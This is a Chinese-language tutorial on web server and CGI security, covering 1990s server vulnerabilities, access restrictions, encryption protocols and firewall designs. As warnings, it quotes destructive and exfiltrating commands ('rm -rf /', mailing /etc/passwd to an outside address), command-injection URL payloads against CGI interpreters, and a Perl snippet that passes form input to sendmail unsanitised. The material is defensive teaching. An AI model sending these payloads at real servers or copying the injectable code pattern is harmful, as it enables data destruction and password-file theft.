Web安全技术与防火墙
计算机的安全性历来都是人们讨论的主要话题之一。而计算机安全 主要研 究的是计算机病毒的防治和系统的安全。在计算机网络日益扩展 和普及的今天, 计算机安全的要求更高,涉及面更广。不但要求防治病 毒,还要提高系统抵抗外 来非法黑客入侵的能力,还要提高对远程数据 传输的保密性,避免在传输途中遭 受非法窃取。
在防治网络病毒方面,在http传输中HTML文件是一般不会存在感染 病毒的 危险。危险在于下载可执行软件如:.zip .exe .arj .Z 等文件 过程中应特别 加以注意。都有潜伏病毒的可能性。
对于系统本身安全性,主要考虑服务器自身稳定性、健状性,增强 自身抵抗 能力,杜绝一切可能让黑客入侵的渠道,避免造成对系统的威 胁。对重要商业应 用,必须加上防火墙和数据加密技术加以保护。
在数据加密方面,更重要的是不断提高和改进数据加密技术,使不 法分子难 有可乘之机。
当然,计算机系统安全是个很大的范畴,本章仅仅讨论在构造 web 时,可能 出现的一些情况,希望能引起重视。
2、WEB在安全上的漏洞
WEB 服务器上的漏洞可以从以下几方面考虑:
(1)在web服务器上你不让人访问的秘密文件、目录或重要数据。
(2)从远程用户向服务器发送信息时,特别是信用卡之类东西时, 中途遭 不法分子非法拦截。
(3) web服务器本身存在的一些漏洞,使得一些人能侵入到主机系 统破坏 一些重要的数据,甚至造成系统瘫痪。
(4)CGI安全方面的漏洞有:
1〕有意或无意在主机系统中遗漏(bugs)给非法黑客创造条件。
2〕用 CGI脚本编写的程序当涉及到远程用户从浏览器中输入表格 (form) 并进行象检索(Search index)或form-mail之类在主机上直接操 作命令时,或许 会给web主机系统造成危险。
因此,从CGI角度考虑WEB的安全性,主要是在编制程序时,应详细 考虑到 安全因素。尽量避免CGI程序中存在漏洞。
从web服务器版本上分析:
在1995年3月发现NCSA1.3以下版本的HTTPD明显存在安全上的漏洞, 即客户 计算机可以任意地执行服务器上面的命令,非常危险。但, NCSA1.4以上版本的 服务器就补上了这个漏洞。还有一些简单的从网上 下载WEB服务器,没有过多考 虑到一些安全因素,不能用作商业应用。
因此,不管是配置服务器,还是在编写 CGI程序时都要注意系统 的安全性。 尽量堵住任何存在的漏洞,创造安全的环境。在具体服务器 设置及编写 cgi程 序时应该注意:
管理服务器上
1)禁止乱用从其他网中下载的一些工具软件,并在没有详细了解之 前尽量 不要用root身份注册执行。以防止某些程序员在程序中设下的陷 井,如:程序 中加上一两行 "rm -rf /"或"mail username < /etc/passwd" 之类情况发生。
2)在选用 web服务器时,应考虑到不同服务器对安全的要求不一 样。一些 简单的 web服务器就没有考虑到一些安全的因素,不能把他用 作商业应用。只 作一些个人的网点。
3)在利用WEB中的.htpass来管理和校验用户口令时,存在校验的口 令和用 户名不受次数限制。
3、如何在WEB上提高系统安全性和稳定性
web服务器安全预防措施:
〔1〕限制在web服务器开帐户,定期删除一些断进程的用户。
〔2〕对在web服务器上开的帐户,在口令长度及定期更改方面作出 要求, 防止被盗用。
〔3〕尽量使ftp, mail等服务器与之分开,去掉 ftp,sendmail,tftp,NIS, NFS,finger,netstat等一些无关的应用。
〔4〕在web服务器上去掉一些绝对不用的shell等之类解释器,即当 在你的 cgi的程序中没用到perl时,就尽量把perl在系统解释器中删除 掉。
〔5〕定期查看服务器中的日志logs文件,分析一切可疑事件。在 errorlog 中出现rm, login, /bin/perl, /bin/sh 等之类记录时,你的 服务器可能有受到 一些非法用户的入侵的尝试。
〔6〕设置好web服务器上系统文件的权限和属性,对可让人访问的 文档分配 一个公用的组如:www,并只分配它只读的权利。把所有的 HTML文件归属WWW组, 由WEB管理员管理WWW组。对于WEB的配置文件仅对 WEB管理员有写的权利。
〔7〕有些WEB服务器把WEB的文档目录与FTP目录指在同一目录时, 应该注意 不要把FTP的目录与CGI-BIN指定在一个目录之下。这样是为了 防止一些用户通过 FTP上在一些尤如PERL或SH之类程序并用WEB的 CGI-BIN去执行造成不良后果。
〔8〕通过限制许可访问用户IP或DNS如:
在NCSA中的access.conf中加上:
< Directory /full/path/to/directory >
< Limit GET POST >
order mutual-failure
deny from all
allow from 168.160.142. abc.net.cn
< /Limit >
< /Directory >
这样只能是以域名为abc.net.cn或IP属于168.160.142的客户访问 该WEB服务 器。对于CERN或W3C服务器可以这样在httpd.conf中加上:
Protection LOCAL-USERS {
GetMask @(*.capricorn.com, *.zoo.org, 18.157.0.5)
}
Protect /relative/path/to/directory/* LOCAL-USERS
〔9〕WINDOWS下HTTPD
1)Netscape Communications Server for NT
〖1〗Perl解释器的漏洞
Netscape Communications Server中无法识别cgi-bin下的扩展名 及其应 用关系,如:.pl是PERL的代码程序自动调用 perl.exe文件解 释,即使现在也只 能把perl.exe文件存放在cgi-bin目录之下。执行 如: /cgi-bin/perl.exe?&my_script.pl. 但是这就给任何人都有执行 perl 的可能, 当有些人在其浏览器的URL中加上如: /cgi-bin/perl.exe?&-e+unlink+%3C*%3E 时,有可能造成删除服务器当 前目录下文件的危险。但是,其他如:O'Reilly WebSite或Purveyor都 不存在这种漏洞。
〖2〗CGI执行批处理文件的漏洞
文件名:test.bat:
@echo off
echo Content-type: text/plain
echo
echo Hello World!
如果客户浏览器的URL为:/cgi-bin/test.bat?&dir则执行调用命 令解释 器完成dir列表。这给访问者有执行其他命令可能性。
2)O'Reilly WebSite server for Windows NT/95
在WebSite1.1B以前的版本中使用配处理文件存在着Netscape同样 的漏洞, 但是,新版关闭.bat在cgi中的作用。支持perl,VB和C作为CGI 开发工具。至于 他的安全问题参看: http://website.ora.com/devcomer/secalert1。
3)Microsoft's IIS Web Server
在96年3月5日前的IIS在NT下的.bat CGI的 bug甚至比其他更严 重,可以 任意使用command命令。但之后修补该漏洞。你可检查你的可 执行文件的建立日 期。IIS3.0还存在一些安全bug,主要是cgi-bin下的 覆给权利。
另外,许多 WEB服务器本身都存在一些安全上的漏洞,都是在版本 升级过 程不断更新。在这就不一一列举。
从CGI编程角度考虑安全:
〔1〕采用编译语言比解释语言会更安全些,并且 CGI程序应放在独 立于HTML 存放目录之外的CGI-BIN下,是为了防止一些非法访问者从浏览 器端取得解释性语 言的原代码后从中寻找漏洞。
〔2〕在用C来编写CGI程序时尽量少用popen(), system()和所有涉 及/bin/sh 的shell命令。在Perl中system(), exec(), open(),eval() 等exec或eval之类命 令。在由用户填写的form还回cgi时,不要直接调 用system()之类函数。这是为避 免当填写内容为“rm -rf /*”或 “/usr/lib/sendmail nobody@nowhere.com; mail badguys@hell.org< /etc/passwd”之类内容。
〔3〕用Perl编写CGI时如:
$mail_to = &get_name_from_input;
open (MAIL,"| /usr/lib/sendmail $mail_to");
print MAIL "To: $mailto/nFrom: me/n/nHi there!/n";
close MAIL;
该小程序是把客户浏览器的form到服务器的mail处理程序。
另外,对于数据的加密与传输,目前有SSL,SHTTP,SHEN等协议供 大家研究。
〔1〕SSL(Secure Socket Layer)系由Netscape公司建议的一种建构 在TCP协议 之上的保密措施通讯协议,不但适用于HTTP,而且还适用于 TELNET,FTP,NNTP, GOPHER等客户/服务器模式的安全协议。Netscape Navigator, Secure Mosaic, 和Microsoft Internet Explorer等客户浏 览器与Netscape, Microsoft, IBM, Quarterdeck, OpenMarket 和 O'Reilly等服务器产品都采用SSL协议。
详细请参看:http://home.netscape.com/newsref/std/SSL.html。
〔2〕SHTTP(Secure HTTP)系由CommerceNet公司建议构造在HTTP协 议之上的高 层协议。目前由Open Market公司推销的 Open Marketplace 服务器结合Enterprise Integration Technologies的Secure HTTP Mosaic客户浏览器采用S-HTTP。
详细参看:http://www.eit.com/creations/s-http/ 。
4、防火墙(Firewall)
(1)防火墙的概念
当一个网络接上Internet之后,系统的安全除了考虑计算机病毒、 系统的健 壮性之外,更主要的是防止非法用户的入侵。而目前防止的措 施主要是靠防火墙 的技术完成。防火墙(firewall)是指一个由软件或和 硬件设备组合而成,处于企 业或网络群体计算机与外界通道(Internet) 之间,限制外界用户对内部网络访问 及管理内部用户访问外界网络的权 限。
随着人们对网络安全意识提高,在网络的防火墙上采取许多做法并 也已开发 出很多防火墙的产品。
另外,有关防火墙更详细的情况请在雅虎网点 http://www.yahoo.com 上用关键词firewall来查询更多有关firewall 信息。
(2)防火墙的措施
目前主要采用的是两种结构:
1)代理(Proxy)主机
内部网络<----->代理网关(Proxy Gateway)<----->Internet
这种方式是内部网络与Internet不直接通讯。就是内部网络计算机 用户与代 理网关采用一种通讯方式即提供内部网络协议(Netbios、 TCP/IP 等)。而,网关 与Internet之间采取的是标准TCP/IP网络通讯协 议。这样使得网络数据包不能直 接在内外网络之间进行。内部计算机必 须通过代理网关访问Internet,这样容易 在代理服务器上对内部网络计 算机对访问外界计算机进行限制。另外,由于代理服务 器两端采用不同 协议标准也可以直接阻止外界非法入侵。还有,代理服务的网关 可对数 据封包进行验证和对密码进行确认等安全管制。这样,能较好地控制管 理两端 的用户起到防火墙作用。
可想而知,这种防火墙措施是采用透过代理服务器进行,在联机用 户多时, 效率必然受到影响,代理服务器负担很重,并且许多访问 Internet的客户软件在 内部网络计算机中无法正常访问Internet。
2)路由器加过滤器(Screened Host)完成
内部网络<----->过滤器(Filter)<---->路由器 (Router)<---->Internet
这种结构由路由器和Filter共同完成对外界计算机访问内部网络从 IP地址或 域名上的限制,也可以指定或限制内部网络访问Internet。路 由器仅对筛虑主机 的特定的PORT上数据通讯加以路由,而Filter主机则 执行筛选、过滤、验证及其 安全监控,这样可以很大程度隔断内外网络 间的不正常的访问登陆。
-
※ 评论注意事项:
您的评论将在管理员审核后才会显示。
不是智囊风云榜会员或未登陆发表评论,评论人名字显示为匿名。
尊重网上道德,遵守中华人民共和国的各项有关法律法规
承担一切因您的行为而直接或间接导致的民事或刑事法律责任
本站管理人员有权保留或删除评论中的任意内容
参与本评论即表明您已经阅读并接受上述条款。